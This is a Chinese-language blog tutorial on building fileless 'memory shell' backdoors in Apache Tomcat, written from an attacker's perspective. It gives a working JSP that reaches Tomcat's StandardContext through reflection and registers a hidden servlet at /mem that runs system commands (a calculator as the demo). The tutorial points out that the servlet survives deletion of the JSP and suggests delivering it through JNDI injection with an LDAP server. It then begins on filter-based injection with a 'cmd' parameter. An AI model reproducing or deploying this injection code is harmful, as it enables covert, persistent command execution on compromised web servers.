Skip to main content

JAVA-内存马+servlet+Filter

·346 words·2 mins
IIIIIIIIIIII
Author
IIIIIIIIIIII
A little bit about you

JAVA-内存马-servlet
#

1:servlet内存马
#

Servlet 内存马是通过动态注册 Servlet 来实现的一种内存攻击手段。在 Java Web 应用中,Servlet 作为处理客户端请求的核心组件之一,能够直接处理 HTTP 请求并返回响应。攻击者利用这一点,通过程序化地向 Web 容器(如 Tomcat)在运行时注册恶意的 Servlet 对象,使得该 Servlet 能够在没有实际文件存在的情况下执行恶意程序。

但是我们也要搞清除,Servlet类是怎么装载到Web容器里面的

nmap

自己编写一个类 重写doget方法

package com.yr.memshellser;

import javax.servlet.Servlet;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

public class MyServlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        resp.getWriter().println("Hello World");
    }
}

再web.xml下面定义路径是my

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <servlet>
        <servlet-name>MyServlet</servlet-name>
        <servlet-class>com.yr.memshellser.MyServlet</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>MyServlet</servlet-name>
        <url-pattern>/my</url-pattern>
    </servlet-mapping>
</web-app>

然后访问路径触发URL

nmap

两种生效方法:一种定义xml 一种@WebServlet(name = "helloServlet", value = "/hello-servlet") 这种
								    <servlet>
								        <servlet-name>MyServlet</servlet-name>
								        <servlet-class>com.yr.memshellser.MyServlet</servlet-class>
								    </servlet>
								    <servlet-mapping>
								        <servlet-name>MyServlet</servlet-name>
								        <url-pattern>/My</url-pattern>
								    </servlet-mapping>

tomcat是如何加载这些servlet的呢
#

​ 加载tomcat源码

compile不行就用provided

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.74</version>
    <scope>compile</scope> <!-- 或 provided,根据场景调整 -->
</dependency>

​ 这里的代码类就是加载sevlet进去容器的代码我们可以断点看下

nmap

成功断下来

nmap

在下面发现了MAP里面就是我们的对象

nmap

同时还有映射关系/My 映射到MyServlet .jsp映射到jsp

nmap

我们所以的Servlet变成了webxml传入进去了configureContext方法中进行处理

这里的for循环就是添加的地方

nmap

把servlet放到 wrapper里面然后把,wrapper放到了context中,就完成添加servlet到tomcat中的过程

如下面代码添加mapping

for (Entry<String, String> entry :
        webxml.getServletMappings().entrySet()) {
    context.addServletMappingDecoded(entry.getKey(), entry.getValue());
}

所以这两个代码完成了servlet和mapping的添加

context.addChild(wrapper);
}
for (Entry<String, String> entry :
        webxml.getServletMappings().entrySet()) {
    context.addServletMappingDecoded(entry.getKey(), entry.getValue());
}

所以让目标执行这里两个代码就行了对吧。

但是context是什么呢

在doGet的地方断点

nmap

输入方法

nmap

在这里发现了我们要的那个context 所以我们拿到那个Standard context就可以执行上面两步了

编写JSP
#

JSP(Java Server Page)是 Servlet 的动态扩展形式——Web 容器(如 Tomcat)会将 JSP 文件编译成 Servlet 类.class文件),并在内存中加载执行。例如,一个test.jsp文件在编译后会生成对应的test_jsp.javatest_jsp.class,其本质就是一个 Servlet。

<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
    //定义恶意的servlet
public  class Memshell extends HttpServlet{
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        Runtime.getRuntime().exec("calc");
    }
}
%>

<%
    ServletContext servletContext = request.getServletContext();
    //拿到applicationContext
    Field context = servletContext.getClass().getDeclaredField("context");
    context.setAccessible(true);
    //获取指定对象中当前字段的值。获取servletContext中的context就是我们的ApplicationContext对象
    ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);

    Field context1 = applicationContext.getClass().getDeclaredField("context");
    context1.setAccessible(true);
    StandardContext standardContext = (StandardContext)context1.get(applicationContext);
    //将Memshell封装到wrapper中
    Wrapper wrapper = standardContext.createWrapper();
    wrapper.setName("memshell");
    wrapper.setServletClass(Memshell.class.getName());
    wrapper.setServlet(new Memshell());
    //添加wapper到context中然后映射
    standardContext.addChild(wrapper);
    standardContext.addServletMappingDecoded("/mem","memshell");
%>

现在我们不能访问mem

nmap

然后我们触发jsp后成功弹出计算器

nmap

当你删除jsp后依旧可以运行

当你觉得jsp太容易被查杀了,但是如果对方有jndi注入的话你可以

1:找到可控点

2:放这代码到class中比如用 marshalsec 启动一个ldap服务 指定这个类

2:filter内存马
#

客户端经过的请求经过服务器时候,先通过过滤器再到servlet去处理

过滤器数量不止一个,filter可以一个传一个

    <dependency>
        <groupId>org.apache.tomcat</groupId>
        <artifactId>tomcat-catalina</artifactId>
        <version>9.0.74</version>
        <scope>compile</scope> <!-- 或 provided,根据场景调整 -->
    </dependency>

首先和上面一样创建一个servlet程序

我们首先创建一个过滤器查看效果

public class Hellofilter extends HttpFilter {
    @Override
    protected void doFilter(HttpServletRequest req, HttpServletResponse res, FilterChain chain) throws IOException, ServletException {
        String cmd = req.getParameter("cmd");
        if (cmd == null) {
            super.doFilter(req, res, chain);
        }
        else {
            res.setContentType("text/html");
            res.getWriter().println("你的代码里面有"+ cmd);
        }
    }
    
    在web.xml中添加
        <filter>
        <filter-name>hello-servlet</filter-name>
        <filter-class>com.yr.memshellfilter.Hellofilter</filter-class>

    </filter>
    访问全部都生效
    <filter-mapping>
        <filter-name>hello-servlet</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

当我们的参数有cmd的时候就会给我们拦截到

nmap

那我们在动态的时候怎么添加这个进去呢

我们断点调试找到了这个doFilter类

nmap

不管怎么样都会执行internalDoFilter方法

并且有一个filters数组里面的指针就是我们的filter的传递,那我们的目标就是把filter放入到这个数组中

if (pos < n) {
    ApplicationFilterConfig filterConfig = filters[pos++];
    try {
        Filter filter = filterConfig.getFilter();

nmap

Related

JavaEECC1链条持续更新+fastjson1.2.24+log4j
·1894 words·9 mins
JavaEE代码审计-鉴权逻辑
·393 words·2 mins
JavaEE代码审计-文件操作
·773 words·4 mins
JavaEE代码审计-sql注入
·684 words·4 mins
NPS-内网攻防信息打点工具
·467 words·3 mins